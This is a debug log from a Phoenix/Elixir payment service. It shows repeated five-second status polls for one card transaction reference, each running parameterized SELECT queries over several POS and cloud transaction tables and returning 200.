SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:05.039000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43318] QUERY OK source="pos_failed_transaction" db=2.7ms idle=1221.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:05.040000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:43318] QUERY OK source="cloud_transaction" db=0.5ms idle=1224.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:05.040000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:43318] Sent 200 in 22ms
[Thu Sep  3 10:04:09.893000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39010] POST /api/device/status
[Thu Sep  3 10:04:09.893000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:39010] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:09.893000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39010] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:09.893000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39010] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:09.907000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39010] QUERY OK source="pos_transaction" db=13.1ms queue=0.1ms idle=1079.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:09.911000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39010] QUERY OK source="pos_temp_transaction" db=0.7ms queue=0.1ms idle=1095.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:09.914000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39010] QUERY OK source="pos_failed_transaction" db=3.0ms queue=0.1ms idle=1096.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:09.918000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39010] QUERY OK source="cloud_transaction" db=1.0ms queue=2.6ms idle=1099.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:09.918000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39010] Sent 200 in 25ms
[Thu Sep  3 10:04:14.884000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39012] POST /api/device/status
[Thu Sep  3 10:04:14.884000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:39012] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:14.884000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39012] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:14.885000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39012] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:14.898000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39012] QUERY OK source="pos_transaction" db=12.6ms idle=1070.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:14.899000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39012] QUERY OK source="pos_temp_transaction" db=0.4ms idle=1083.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:14.902000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39012] QUERY OK source="pos_failed_transaction" db=2.6ms idle=1084.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:14.903000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39012] QUERY OK source="cloud_transaction" db=0.5ms idle=1087.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:14.903000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39012] Sent 200 in 19ms
[Thu Sep  3 10:04:19.904000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42356] POST /api/device/status
[Thu Sep  3 10:04:19.905000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42356] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:19.905000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42356] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:19.905000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42356] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:19.919000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42356] QUERY OK source="pos_transaction" db=13.6ms idle=1090.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:19.920000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42356] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.1ms idle=1104.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:19.923000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42356] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1105.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:19.928000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42356] QUERY OK source="cloud_transaction" db=3.5ms idle=1109.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:19.929000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42356] Sent 200 in 24ms
[Thu Sep  3 10:04:24.966000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42372] POST /api/device/status
[Thu Sep  3 10:04:24.966000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42372] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:24.966000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42372] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:24.966000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42372] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:24.982000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42372] QUERY OK source="pos_transaction" db=15.0ms idle=1152.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:04:24.983000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42372] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1167.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:04:24.986000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42372] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1168.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:04:24.987000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42372] QUERY OK source="cloud_transaction" db=0.5ms idle=1171.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch206298523881"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:04:24.987000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42372] Sent 200 in 21ms
[Thu Sep  3 10:04:29.919000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34728] POST /api/device/status
[Thu Sep  3 10:04:29.920000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34728] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:04:29.920000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34728] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch206298523881", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:04:29.920000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34728] Transaction reference number: "ch206298523881"
[Thu Sep  3 10:04:29.935000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34728] QUERY OK source="pos_transaction" db=14.1ms idle=1105.9ms
